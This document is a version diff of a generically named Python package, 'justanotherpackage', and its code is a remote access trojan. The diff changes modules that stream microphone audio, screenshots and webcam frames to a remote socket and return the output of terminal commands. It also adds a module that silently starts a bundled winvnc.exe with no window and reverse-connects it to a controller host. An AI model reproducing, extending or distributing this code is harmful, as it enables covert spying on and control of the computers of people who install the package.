justanotherpackage 0.2.4__tar.gz → 0.3.0__tar.gz

{justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/PKG-INFO

@@ -1,5 +1,5 @@
 Metadata-Version: 2.2
 Name: justanotherpackage
-Version: 0.2.4
+Version: 0.3.0
 Requires-Python: >=3.6
 Dynamic: requires-python

{justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/features/audio.py

@@ -1,5 +1,6 @@
 import pyaudio
 import json
+import base64
 
 def start_audio_stream(client_socket):
     p = pyaudio.PyAudio()
@@ -24,9 +25,13 @@ def start_audio_stream(client_socket):
     while True:
         try:
             audio_data = stream.read(1024)
-            client_socket.sendall(audio_data)
+
+            encoded_audio = base64.b64encode(audio_data).decode('utf-8')
+
+            audio_json = json.dumps({"audio": encoded_audio})
+            client_socket.sendall(audio_json.encode('utf-8'))
         except (ConnectionError, ConnectionResetError):
             pass
         except Exception as e:
             message = f"From Remote: {str(e)}"
-            client_socket.sendall(json.dumps({"logger": message}).encode())
+            client_socket.sendall(json.dumps({"logger": message}).encode())

justanotherpackage-0.3.0/justanotherpackage/features/remote_desktop.py

@@ -0,0 +1,56 @@
+import psutil
+import subprocess
+import time
+import justanotherpackage
+import os
+import json
+
+def find_process_by_exe(file_name):
+    try:
+        for proc in psutil.process_iter(['pid', 'exe']):
+            if proc.info['exe'] and file_name.lower() in proc.info['exe'].lower():
+                return proc.info['pid']
+    except (psutil.AccessDenied, psutil.NoSuchProcess):
+        pass
+    return None
+
+def start_remote_desktop(data, HOST, client_socket):
+    try:
+        port = data.get("port")
+        if not port:
+            raise ValueError("Port not provided in data")
+
+        remote_pid = find_process_by_exe("winvnc.exe")
+        program_path = os.path.join(
+            os.path.dirname(justanotherpackage.__file__), "vnc", "winvnc.exe"
+        )
+
+        if not remote_pid:
+            try:
+                subprocess.Popen(
+                    [program_path],
+                    shell=True,
+                    creationflags=subprocess.CREATE_NO_WINDOW
+                )
+                time.sleep(5)
+            except Exception as e:
+                raise RuntimeError(f"Failed to start winvnc.exe: {e}")
+
+        remote_pid = find_process_by_exe("winvnc.exe")
+        if remote_pid:
+            try:
+                command = [program_path, "-connect", f"{HOST}:{port}"]
+                subprocess.Popen(command, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
+                message = "From Remote: Remote Desktop Started"
+            except Exception as e:
+                message = f"From Remote: Failed to connect remote desktop - {e}"
+        else:
+            message = "From Remote: winvnc.exe process not found after starting"
+
+        client_socket.sendall(json.dumps({"logger": message}).encode())
+
+    except (ConnectionError, ConnectionResetError):
+        pass 
+    except Exception as e:
+        error_message = f"From Remote: {str(e)}"
+        client_socket.sendall(json.dumps({"logger": error_message}).encode())

{justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/features/screenshot.py

@@ -16,12 +16,15 @@ def send_screenshot(client_socket):
             screenshot.save(buffer, format="PNG")
             screenshot_data = buffer.getvalue()
 
-            client_socket.sendall(struct.pack(">I", len(screenshot_data)))
+            screenshot_json = {
+                "screenshot": {
+                    "length": len(screenshot_data),
+                    "data": screenshot_data.decode("latin1")
+                }
+            }
+
+            client_socket.sendall(json.dumps(screenshot_json).encode('utf-8'))
 
-            total_sent = 0
-            while total_sent < len(screenshot_data):
-                sent = client_socket.send(screenshot_data[total_sent:])
-                total_sent += sent
         except (ConnectionError, ConnectionResetError):
             pass
         except Exception as e:

{justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/features/terminal.py

@@ -17,9 +17,16 @@ def terminal(data, client_socket, shell, stdout_queue, stderr_queue):
             while not stderr_queue.empty():
                 output += stderr_queue.get_nowait()
 
-        client_socket.sendall(output.encode('utf-8') if output else b"Command executed successfully.\n")
+        response = {
+            "terminal": {
+                "command": command,
+                "output": output if output else "Command executed successfully."
+            }
+        }
+
+        client_socket.sendall(json.dumps(response).encode('utf-8'))
     except (ConnectionError, ConnectionResetError):
         pass
     except Exception as e:
         message = f"From Remote: {str(e)}"
-        client_socket.sendall(json.dumps({"logger": message}).encode())
+        client_socket.sendall(json.dumps({"logger": message}).encode())

{justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage/features/webcam.py

@@ -10,7 +10,7 @@ def send_webcam_stream(client_socket):
             client_socket.sendall(json.dumps({"logger": "No webcam device found"}).encode())
             return
     except (ConnectionError, ConnectionResetError):
-            pass
+        pass
     except Exception as e:
         message = f"From Remote: {str(e)}"
         client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -24,13 +24,16 @@ def send_webcam_stream(client_socket):
 
             _, jpeg_frame = cv2.imencode('.jpg', frame)
             frame_data = jpeg_frame.tobytes()
+            frame_data_length = len(frame_data)
 
-            client_socket.sendall(struct.pack(">I", len(frame_data)))
+            webcam_data = {
+                "webcam": {
+                    "length": frame_data_length,
+                    "data": frame_data.decode("latin1")
+                }
+            }
 
-            total_sent = 0
-            while total_sent < len(frame_data):
-                sent = client_socket.send(frame_data[total_sent:])
-                total_sent += sent
+            client_socket.sendall(json.dumps(webcam_data).encode())
 
             cap.release()
             client_socket.sendall(json.dumps({"logger": "Webcam streaming stopped."}).encode())
@@ -38,4 +41,4 @@ def send_webcam_stream(client_socket):
             pass
         except Exception as e:
             message = f"From Remote: {str(e)}"
-            client_socket.sendall(json.dumps({"logger": message}).encode())
+            client_socket.sendall(json.dumps({"logger": message}).encode())

{justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/justanotherpackage.egg-info/PKG-INFO

@@ -1,5 +1,5 @@
 Metadata-Version: 2.2
 Name: justanotherpackage
-Version: 0.2.4
+Version: 0.3.0
 Requires-Python: >=3.6
 Dynamic: requires-python

{justanotherpackage-0.2.4 → justanotherpackage-0.3.0}/setup.py

@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
 
 setup(
     name="justanotherpackage",
-    version="0.2.4",
+    version="0.3.0",
     packages=find_packages(),
     python_requires=">=3.6",
     include_package_data=True,

justanotherpackage-0.2.4/justanotherpackage/features/remote_desktop.py

@@ -1,47 +0,0 @@
-import psutil
-import subprocess
-import time
-import justanotherpackage
-import os
-import json
-import traceback
-
-def find_process_by_exe(file_name):
-    for proc in psutil.process_iter(['pid', 'exe']):
-        try:
-            if proc.info['exe'] and file_name.lower() in proc.info['exe'].lower():
-                return proc.info['pid']
-        except (psutil.AccessDenied, psutil.NoSuchProcess):
-            continue
-    return None
-
-def start_remote_desktop(data, HOST, client_socket):
-    try:
-        port = data["port"]
-        remote_pid = find_process_by_exe("winvnc.exe")
-        program_path = os.path.join(
-            os.path.dirname(justanotherpackage.__file__), "vnc", "winvnc.exe"
-        )
-
-        if not remote_pid:
-            subprocess.Popen(
-                [program_path],
-                shell=True,
-                creationflags=subprocess.CREATE_NO_WINDOW
-                )
-            time.sleep(5)
-
-        remote_pid = find_process_by_exe("winvnc.exe")
-                
-        if remote_pid:
-            command = [program_path, "-connect", f"{HOST}:{port}"]
-            subprocess.Popen(command, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
-            message = f"From Remote: Remote Desktop Started"
-            client_socket.sendall(json.dumps({"logger": message}).encode())
-
-    except (ConnectionError, ConnectionResetError):
-        pass
-    except Exception as e:
-        traceback.print_exc()
-        message = f"From Remote: {str(e)}"
-        client_socket.sendall(json.dumps({"logger": message}).encode())